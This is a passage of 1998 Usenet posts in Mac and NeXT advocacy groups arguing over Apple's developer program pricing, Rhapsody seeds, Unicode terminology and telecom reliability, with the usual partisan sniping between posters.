> > business, I'd be kissing every butt at every turn. Not that I'm accusing
> > mmalc or the rest of the NeXT contingent of doing that, I'm just saying
> > that's what _I_ would do that if _I_ were a Rhapsody developer today. With
> > a number of "legitimate" commercial developers shaking their heads about
> > the hardware thing and the price increase, I'd do everything to encourage
> > Apple management to have a positive view of what I'm doing.
> >
> The implication you are making here is offensive. I ask you to retract it.
>
> I can assure you that on other matters (publicly or privately) I have been
> *very* critical of Apple.
That seems to be one of the major difficulties that some people have. They
don't understand the difference between public criticism and private
criticism. I spend a good deal of time offering suggestions, comments, and
criticisms to Apple, but since I don't do it in a public forum, I'm
accused of all sorts of things.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 13 Apr 1998 09:10:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-1304980910260001@wil89.dol.net>
References: <6gm9n1$hom$7@quasar.dimensional.com> <B1540977-84A8B@206.165.43.22>
In article <B1540977-84A8B@206.165.43.22>, "Lawson English"
<english@primenet.com> wrote:
> >
> > Anyway, I think the whole GUI needs to be revamped from scrach,
> > rethoughtout. Honestly, I don't even like the layered window idea all
> that
> > much, although it seems that it's not going away any time seen. Having a
> > user interface that has visual enhancements is genius. But I don't think
> > there's been enough study on what takes up user time in GUIs.
>
>
>
> Jef Raskin, father of the Macintosh, agrees with you. He thinks that there
> is way too much modularity in applications. An example would be the
> distinction made between a word-processsor and spreadsheet. Why can't you
> just input a tab-deliminated column of numbers, select them and start
> applying formulas, rather than use a separate tool with a seperate
> interface?
Why not, indeed?
Isn't that just the way ClarisWorks operates?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sun, 12 Apr 1998 21:29:35 -0500
Organization: CE Software
Message-ID: <MPG.f9b348c11b899b49898a4@news.supernews.com>
References: <joe.ragosta-0804982109560001@elk62.dol.net> <B151824F-7635E@207.217.155.14> <6glpam$oop$18@ironhorse.plsys.co.uk> <joe.ragosta-1304980843340001@wil89.dol.net>
In article <joe.ragosta-1304980843340001@wil89.dol.net>,
joe.ragosta@dol.net says...
> In article <6glpam$oop$18@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> > I can assure you that on other matters (publicly or privately) I have been
> > *very* critical of Apple.
>
> That seems to be one of the major difficulties that some people have. They
> don't understand the difference between public criticism and private
> criticism. I spend a good deal of time offering suggestions, comments, and
> criticisms to Apple, but since I don't do it in a public forum, I'm
> accused of all sorts of things.
Joe, you've regularly ragged on people who talk about "what I've done
offline" particularly in email, to say people aren't what they seem to
be.
I'll take you at your word that you send private criticism to Apple.
But, in this forum, you are Johnnie One Note when it comes to Apple. I
believe most of the points you make are valid, but when you not only do
not comment on Apple's obvious screwups but even stretch quite a way to
defend it, then IN THIS FORUM you have taken on the role of Apple flack.
Intelligent and usually well-reasoned Apple flack, but Apple flack.
I don't expect you to start thread on "How Apple screwed up", but an
occasional "You've got a good point" would improve your credibility.
Again, I think the points you make are usually valid, but since they all
fall to one side, and you're saying above you sometimes do have
criticisms, finding a comment in a thread from you means nothing. Before
reading it, there's no doubt about "what will Joe have to say about it",
we know it'll be "Apple is right and the criticism is wrong."
Anyways, that's my two cents. I respect you as a person, I believe you
are honest and trust that the comments you make are ones you believe in.
But, I think your practice of never criticizing in public damages your
credibility as an advocate.
Donald
Date: Mon, 13 Apr 1998 10:24:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1304981024520001@wil45.dol.net>
References: <joe.ragosta-0804982109560001@elk62.dol.net> <B151824F-7635E@207.217.155.14> <6glpam$oop$18@ironhorse.plsys.co.uk> <joe.ragosta-1304980843340001@wil89.dol.net> <MPG.f9b348c11b899b49898a4@news.supernews.com>
In article <MPG.f9b348c11b899b49898a4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Joe, you've regularly ragged on people who talk about "what I've done
> offline" particularly in email, to say people aren't what they seem to
> be.
>
> I'll take you at your word that you send private criticism to Apple.
> But, in this forum, you are Johnnie One Note when it comes to Apple. I
> believe most of the points you make are valid, but when you not only do
> not comment on Apple's obvious screwups but even stretch quite a way to
> defend it, then IN THIS FORUM you have taken on the role of Apple flack.
> Intelligent and usually well-reasoned Apple flack, but Apple flack.
>
> I don't expect you to start thread on "How Apple screwed up", but an
> occasional "You've got a good point" would improve your credibility.
> Again, I think the points you make are usually valid, but since they all
> fall to one side, and you're saying above you sometimes do have
> criticisms, finding a comment in a thread from you means nothing. Before
> reading it, there's no doubt about "what will Joe have to say about it",
> we know it'll be "Apple is right and the criticism is wrong."
Too bad you haven't read my posts.
I've criticized Apple publicly for:
Cancelling Newton before they have a replacement ready.
Dropping PowerBooks from the price list before the replacement is ready.
Many, many, many marketing decisions.
Not making Jobs commit publicly to the CEO job or step aside to let
someone else do it.
And others.
Apparently, unless I'm criticizing Apple _constantly_, you and Lawson seem
to think I'm incapable of it.
>
> Anyways, that's my two cents. I respect you as a person, I believe you
> are honest and trust that the comments you make are ones you believe in.
> But, I think your practice of never criticizing in public damages your
> credibility as an advocate.
Then read the times I have criticized them publicly.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 08:35:43 -0700
Organization: Trilithon Research and Trading
Message-ID: <353230CF.84C8212F@trilithon.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
<6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
<6gr0m4$eq$1@goof.de.uu.net> <6gsrle$oop$35@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
* In <6gr0m4$eq$1@goof.de.uu.net> Holger Hoffstaette wrote:
* * Generally, people from Europe are very sought
* * after - in the US! I wonder why that is. :)
* Europeans are, on average, better educated, more
* capable of independent creative thought, and can
* speak English better... :-)
Granted all three. But the last point is not necessarily
such an advantage, because people can't understand what
you're saying.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 13 Apr 1998 16:11:30 GMT
Organization: @Home Network
Message-ID: <6gtdfi$a4c$1@ha2.rdc1.sdca.home.com>
References: <3530F643.DEADA2A5@trilithon.com> <B1568695-79E30@206.165.43.142>
<35316F05.8388287B@trilithon.com>
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Cc: henry@trilithon.com
In <35316F05.8388287B@trilithon.com> Henry McGilton wrote:
> Lawson English wrote:
>
> * Notice the factual error from the start of your response
> * where you insist that *I* am clueless. In Unicode, Hang
> "Hang" ? That's a new one on me.
> * is THE standard encoding for Asian languages. If my use
> * of "Hangul" instead of "Han" threw you, I'm sorry, but
> * in Unicode (which NeXTstep and Rhapsody both use), the
> * encodings are the same, so my throwing in a "gul" shouldn't
> * have mattered. From the official Unicode webpage:
> Sure it matters. Here we are again. When somebody challenges you
> on a point, you slide around to some other position. Do you really
> not understand the difference between Hangul the syllabic script
> and Hanja (Hanzi, Kanji) the ideographic notation?
>
> * (this serious defect in the implementation of Unicode is
> * known as the "Unified Hangul Problem"
> That's the "Han Unification Problem" and has nothing to do with
> Hangul the script.
>
>
<Off Topic>
I just saw "Temperature Rising" the movie. Has anyone ever met Lawson
English?
That he makes fundamental errors in his prolific compulsion to interject
technical discussion on "only" one topic, makes me wonder. Lawson may be
autistic savant ala Life imitating Art...
-r
Rex Riley
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 13 Apr 1998 16:23:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6j4f0u.juc.sal@panix3.panix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104><joe.ragosta-0804980858150001@wil77.dol.net><mazulauf-0804981503390001@sneezy.met.utah.edu><joe.ragosta-0804981906460001@elk68.dol.net><01bc4540$d4a15e60$3af0bfa8@davidsul><6gh8v1$oop$6@ironhorse.plsys.co.uk> <SCOTT.98Apr9091856@slave.doubleu.com> <01bc46e4$1815c920$24f0bfa8@davidsul>
On 10 Apr 1998 18:52:40 GMT, NeXT Newbie <macghod@concentric.net> wrote:
>Plus, now Apple is using the microsoft developer pricing model as its own.
>Oops, but microsoft has %95 of the market and apple only has %3. Oops,
>Microsoft has a monopoly so they can do this. I guess Apple is now "just
>as good" as microsoft <big grin>
>
>Except they dont have a monopoly and are figting for their lifes, so they
>cant use monopolistic pricing like microsoft does.
>
>Clue phone for Mr Jobs, Mr Jobs please pick up the clue phone. Mr Jobs,
>Apple is not Microsoft, Microsoft can charge those prices because they are
>a monopoly, Apple is fighting for its life so it cant treat developers so
>shabbily
Anyone with a Mac can download MPW and the SDKs and write a Mac App for
$0.00, that is not the case with Windows. If you want to write a win app
that can qualify for the winlogo you need to buy a compiler.
The $495 MSDN subscription does not include tools, the $500 Apple dev sub
does. The $195 MSDN librady rel does not include OS versions, the $199
Apple one does. The Apple program is well within the industry norms. Why
are Apple users so damn whiney? It sounds like you bitch and moan over
every little thing.
If the $199 price includes Rhapsody CR1, then it is a bargin. For $199
you get something that cost $5k just over two years ago.
I can not imagine that many freeware developers paid the $250 for the old
program, or that many will pay the $199 or $500 for the new programs. I
fail to see what the big deal is.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 13 Apr 1998 16:37:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6j4fpc.juc.sal@panix3.panix.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <ericb-0904981701440001@132.236.171.104>
On Thu, 09 Apr 1998 17:01:44 -0400, Eric Bennett <ericb@pobox.com> wrote:
>Plenty of commercial or shareware apps had humble freeware beginnings.
>Other good software has always been freeware. Why charge these people
>$500 to get their hands on the latest system software? Do you want them
The $199 version gets you the latest OS versions (but not Betas)
>all to tell users, "Sorry, my program doesn't work with OS 8.2, because
>Apple prices the developer versions out of my price range. I can't afford
>to test my freeware with 8.2 until *after* it comes out, and then start
>working on any necessary fixes."
$250 was well outside my budget in my .edu days. That was a whole semester
of beer*. I bought a copy of Think pascal at the book store for $50 or so
and that was it. That was my total software expenditure for my college
career. 95%+ of my fellow students just swiped software from the student
computer labs.
(*) $10 bring your own Mug nights... :)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 Apr 1998 16:55:19 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6gtg1n$gv8$1@usenet51.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gqmki$oop$31@ironhorse.plsys.co.uk> <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk>
In article <6gsosb$oop$34@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> No seeds.
>>
>OK, so waht do you need seeds for?
I'd like the Rhapsody seed, because it will precede the CR1 release
by some unknown amount of time, probably measured in months.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 11:01:38 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1304981101380001@sf-usr1-44-172.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6glos8$oop$17@ironhorse.plsys.co.uk> <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>
In article <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>,
gutkneco+news@lirmm.fr (Olivier Gutknecht) wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > Apple has not been cashing anyone's checks on new enrollments or renewals
> > for over six months. Everyone who has had to renew or join the program in
> > the last six months has gotten it gratias.
>
> Definitively false. Apple cashed my renewal three weeks ago.
Same Here. They lost the check I enclosed with my application/NDA, and
wouldn't process me further until I sent them another one, which they
promptly cashed! This was about a month ago. I'd like to know where this
guy got this idea.
George Graves
From: clittle@logicus.com (Chris Little)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 17:45:05 GMT
Organization: Logicus Incorporated
Message-ID: <35324ebd.18752963@nntp.netcom.ca>
References: <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104> <6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk>
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NNTP-Posting-Date: 13 Apr 1998 13:46:22 EDT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
snipped text about altering contracts
>According to Jordan J. Dea-Mattson
>Senior Partnership & Technology Solutions Manager
>Apple Developer Relations
>
>
>
>In the case of Associates (who got no tech support, and paid $250, they
>were moved to the Select program with no tech support incidents. These
>folks get the $100.00 Metrowerks Coupon, so they just were given $100.00.
>
>In the case of Associates Plus who got a limited number of tech support
>incidents, and paid $500, they were moved to the Select program with tech
>support incidents. These folks get the $100.00 Metrowerks Coupon, so they
>just were given $100.00.
>
>In the case of Partners, who paid $1500.00, they were moved to the
>Premier program. These folks get the $300.00 Metrowerks Coupons and a
>pass to WWDC ($1000.00 value), so they just were handed $1300.00.
>
>Apple has not been cashing anyone's checks on new enrollments or renewals
>for over six months. Everyone who has had to renew or join the program in
>the last six months has gotten it gratias.
>
>
>Jordan finishes by asking "Is anyone mentioning this fact?"
>
>The answer is clearly "No." People would rather yell at Apple and bitch
>about something they haven't learned enough about.
>
>mmalc.
>
>
>
>
Unfortunately Jordan isn't entirely correct. As a Canadian developer,
we renewed in February and Apple didn't have any problem cashing the
check. (Or bother to tell us in advance that they were planning
changes to the program.)
I have a number of objections to the changes and they roughly follow
Scott Ellsworth's comments.
The company I work for has also been re-evaluating Mac development for
awhile now. It isn't so much that Apple is charging more for the
developer program, it's that Apple, in general, seems to be scaling
back developer support a piece at a time. I don't think that this
will stop us from developing for the Mac but it is adding fuel to the
fire.
As a developer of educational software most of the discussion about
Rhapsody has been a negative. Schools aren't going to be buying it
and it is just another thing that confuses schools when they are
making new hardware purchasing decisions.
Some people have mentioned that the developer discount on hardware
isn't that important but I would like to disagree. We are a small
company and, in Canada, the developer prices are definitely better
then the retail prices, especially on high margin items like laptops.
The hardware sales don't really cost Apple any extra as all the sales
are done through Apple distributor anyways. Given two weeks notice
about this change is really playing havoc with our cashflow and
budget.
I will have to wait and see about the Metrowerks coupon. It had
better be very open ended because I don't need to upgrade for another
six months.
Chris Little
All the opinions expressed are mine and do not necessarily reflect
those of my employer.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 11:05:06 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk> <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk>
In article <6gsosb$oop$34@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> Benoit Leraillez
> wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > So what's wrong with the Developer Mailing?
> > > http://developer.apple.com/programs/mailing.html
> > > At $200 it seems to give you exactly what you want, and is $50 *cheaper*
> than
> > > the previous program...
> >
> > No seeds.
> >
> OK, so waht do you need seeds for?
Oh, I dunno, I MIGHT (as a developer) want to develop my software
for Rhapsody, or for Allegro. Can't do that WITHOUT actually having
Rhapsody or Allegro, and the only way to get those is for Apple to
seed them to you!
George Graves
Control: cancel <ErD57B.39K@ecf.toronto.edu>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
From: pischke@ecf.toronto.edu (David Pischke)
Subject: cancel
Sender: news@ecf.toronto.edu (News Administrator)
Message-ID: <ErD5AB.3GI@ecf.toronto.edu>
Date: Mon, 13 Apr 1998 17:44:35 GMT
Organization: University of Toronto, Engineering Computing Facility
<ErD57B.39K@ecf.toronto.edu> was cancelled from within trn.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 11:10:53 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de> <6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> <6gr0m4$eq$1@goof.de.uu.net> <6gsrle$oop$35@ironhorse.plsys.co.uk>
In article <6gsrle$oop$35@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <6gr0m4$eq$1@goof.de.uu.net> Holger Hoffstaette wrote:
> > Michael Schuerig wrote:
> > > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > > There is an acutre shortage of WebObjects developers at the moment.
> > > > Anyone who can develop WebObjects apps is a significant way towards
> > > >being a Rhapsody developer. If you're a qualified WebObjects developer
> > > >we may have an opening for you soon.
> >
> > Hey mmalc, don't try to snatch our people!! :)
> >
> Hi Holger -- sorry, I didn't realise he was one of yours. :-)
>
> [...]
>
> > Generally, people from Europe are very sought after - in the US!
> > I wonder why that is. :)
> >
> Europeans are, on average, better educated, more capable of independent
> creative thought, and can speak English better... :-)
Better educated than who?
More capable of creative thought than who?
Can speak better English than Who?
Don't need any of this "Europe is better than the USA" crap.
Were it not for the US' Marshall Plan, you Europeans would
still be crawling around in rubble looking for something to
eat!
George Graves
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <edewErD7s3.7wv@netcom.com>
Sender: edew@netcom4.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <352f99f7.304616375@news.sunflower.com> <rmcassid-1004980007390001@dante.eng.uci.edu> <6gqcqe$oop$23@ironhorse.plsys.co.uk>
Date: Mon, 13 Apr 1998 18:38:27 GMT
In article <6gqcqe$oop$23@ironhorse.plsys.co.uk> mmalcolm crawford <malcolm@plsys.co.uk> writes:
>In <rmcassid-1004980007390001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
>
>> Next thing we'll be asked to teach students how to get laid...
>>
>Hey, I'm sure that would boost enrolement numbers! :-)
>
>You can sign me up as a TA for Petting 101 right now... ;-)
>
>Best wishes,
>
>mmalc.
I didn't know Stanford was known as the school of hard knocks.
EDEW
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Mon, 13 Apr 1998 14:01:53 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35326121.287@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu>
Mime-Version: 1.0
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not@my.address.net wrote:
> Tell me something -- If in a certain market the per unit cost of producing
> the first n units always exceeds the per unit cost of producing the first n
> + 1 units, no matter how large the value of n, what's the equilibrium point
> in that marketplace absent intervention? (Hint, How many water companies
> would you expect to find in any given city if the municipal water supply
> was left to an unregulated marketplace of competing private firms?) And
> what's the benefit of an unregulated marketplace if the predictable
> consequence is the emergence of a natural monopoly?
That's sort of a long-winded way of reducing all of free-market economic
theory to one or two dependent variables. Cute.
The truth of the matter is that technology is the great leveler. The
market rewards companies which can provide desirable services at the
lowest cost and with the most appealing delivery.
The most recent Popular Science reports on utility deregulation, and the
fact that consumers will soon be able to choose their mix of power
sources (nuclear, coal, wood, solar, etc.) The worry among many
bureaucratic types is that most consumers will opt for
cheaper-but-more-polluting coal and nuclear power types just to get the
best cut-rate price. Even though a large percentage of the population
has responded in polls that it would pay a slight premium for cleaner
power, many worry that the net effect will be for more pollution.
The response in the article is that "the market will reward companies
that manage to provide clean power at the cheapest prices". Already many
utilities are experimenting with technologies that allow clean power
sources (solar, for instance) to generate sufficient power at extremely
low cost points, potentially rivalling coal and nuclear fission within a
couple of years. The keyword for this technology is "microgenerators", I
believe.
Technology continues to extend man's dominion over natural resources in
positive and productive ways. There has already been demonstrated an
attitude that rewards stewardship; I see no reason to believe that
technology and the private sector won't collaborate to capitalize on
that attitude, as they have repeatedly throughout history.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-1304981504020001@ts37-06.tor.istar.ca>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gm8m6$hom$3@quasar.dimensional.com>
Organization: Atria Software
Date: Mon, 13 Apr 1998 19:05:59 GMT
NNTP-Posting-Date: Mon, 13 Apr 1998 15:05:59 EST
In article <6gm8m6$hom$3@quasar.dimensional.com>, Kenneth R. Kinder
<Ken@_$spamless$_KenAndTed.com> wrote:
> > I understand parts of Europe like West Germany have really gotten on the
> > ball, too) is the most amazingly stable, redundant, and functional
> > communications system ever developed.
>
> Yeah, 50 years ago!
What, do you imply they are not today? I _never_ pick up my phone and
don't get a dial tone. I turn on the TV and not get cable once a month.
I have problems getting IP via my ISP once a _day_.
> I read about a team of scientists who told the phone
> companies -- in the 60s -- that they needed to move to a protocal-based
> system. Of course, they were right.
Phone service has become far more reliable, far cheaper, far better
quality. They offer more services, more choices and more discounts. Yet
you talk about a "protocal-based" without defining what it is or offering
any reason why we need it.
> > Any networking equipment designed to specs like a maximum per-incident
> > failover time of 5 seconds, with a max total failure time of 60
seconds over
> > a decade-plus lifetime like many of the current centrex switches is
> > impressive.
>
> That's nice 50 years ago, but move on! In at least the 80s, we should have
> moved to a protocal system, that would be finishing up now.
How would this improve reliability?
> You think converting digital to analog audio and then back again... is
> elegant? That statement isn't so much from a programming, but from an
> engineering prespective... Again, read my other reply to that article.
So is the "protocal-based" system you refer to the last-mile problem?
That still requires two A-D's, or what do you propose, plugging into a
socket on the back of the head?
Maury
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 13 Apr 1998 19:30:34 GMT
Message-ID: <01bd674c$8a576280$34f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104><joe.ragosta-0804980858150001@wil77.dol.net><mazulauf-0804981503390001@sneezy.met.utah.edu><joe.ragosta-0804981906460001@elk68.dol.net><01bc4540$d4a15e60$3af0bfa8@davidsul><6gh8v1$oop$6@ironhorse.plsys.co.uk> <SCOTT.98Apr9091856@slave.doubleu.com> <01bc46e4$1815c920$24f0bfa8@davidsul> <slrn6j4f0u.juc.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote in article
<slrn6j4f0u.juc.sal@panix3.panix.com>...
> On 10 Apr 1998 18:52:40 GMT, NeXT Newbie <macghod@concentric.net> wrote:
> >Plus, now Apple is using the microsoft developer pricing model as its
own.
> >Oops, but microsoft has %95 of the market and apple only has %3. Oops,
> >Microsoft has a monopoly so they can do this. I guess Apple is now
"just
> >as good" as microsoft <big grin>
> >
> >Except they dont have a monopoly and are figting for their lifes, so
they
> >cant use monopolistic pricing like microsoft does.
> >
> >Clue phone for Mr Jobs, Mr Jobs please pick up the clue phone. Mr Jobs,
> >Apple is not Microsoft, Microsoft can charge those prices because they
are
> >a monopoly, Apple is fighting for its life so it cant treat developers
so
> >shabbily
>
> Anyone with a Mac can download MPW and the SDKs and write a Mac App for
> $0.00, that is not the case with Windows. If you want to write a win app
> that can qualify for the winlogo you need to buy a compiler.
True. And this is a good feature. And I am not sure it is a detraction to
apple that
1) this has been the case well before the new program was put in place (ie
these arent free BECAUSE of this new program, all this was free before)
2) These tools were ONLY put out for free after apple basically gave up on
them and put them in maintanence mode
> The $495 MSDN subscription does not include tools, the $500 Apple dev sub
> does. The $195 MSDN librady rel does not include OS versions, the $199
> Apple one does. The Apple program is well within the industry norms. Why
> are Apple users so damn whiney? It sounds like you bitch and moan over
> every little thing.
The $500 one does not include tools either. The tools were free well
before this new program was put in place.
Apple users may be whiney. But you have to understand most mac programmers
develop for the mac only because they love the mac, and IN SPITE of the
financial push NOT TO develop for the mac.
> If the $199 price includes Rhapsody CR1, then it is a bargin. For $199
> you get something that cost $5k just over two years ago.
And that was 2 years ago. Many years ago a 2fx cost $10,000. My selling
you one for $400 NOW is not a bargain
What is really upsetting about all of this is that Apple is raising the
costs by twofold and giving nothing in return. The free tools? They have
been free for some time, you cant try to say this program now gives you
these tools for free when they have already been free. The $200 price
which doesnt give you seeds? Hasnt this been in place BEFORE this new
program ?
Apple NEEDS developers! They need more developers! THey need more
software!
One may say BFD that quickbooks isnt out for the mac, there are plenty of
other choices. BFD that quake 3 is out for the pc (is it?) and not for the
mac, you can play marathon instead. But it is a BFD because mac users are
leaving the mac to use pc's because of this. The last several quarters
apple's marketshare has consequatively DROPPED! Hopefully come this
wednesday apple will report that its marketshare has skyrocketed from the
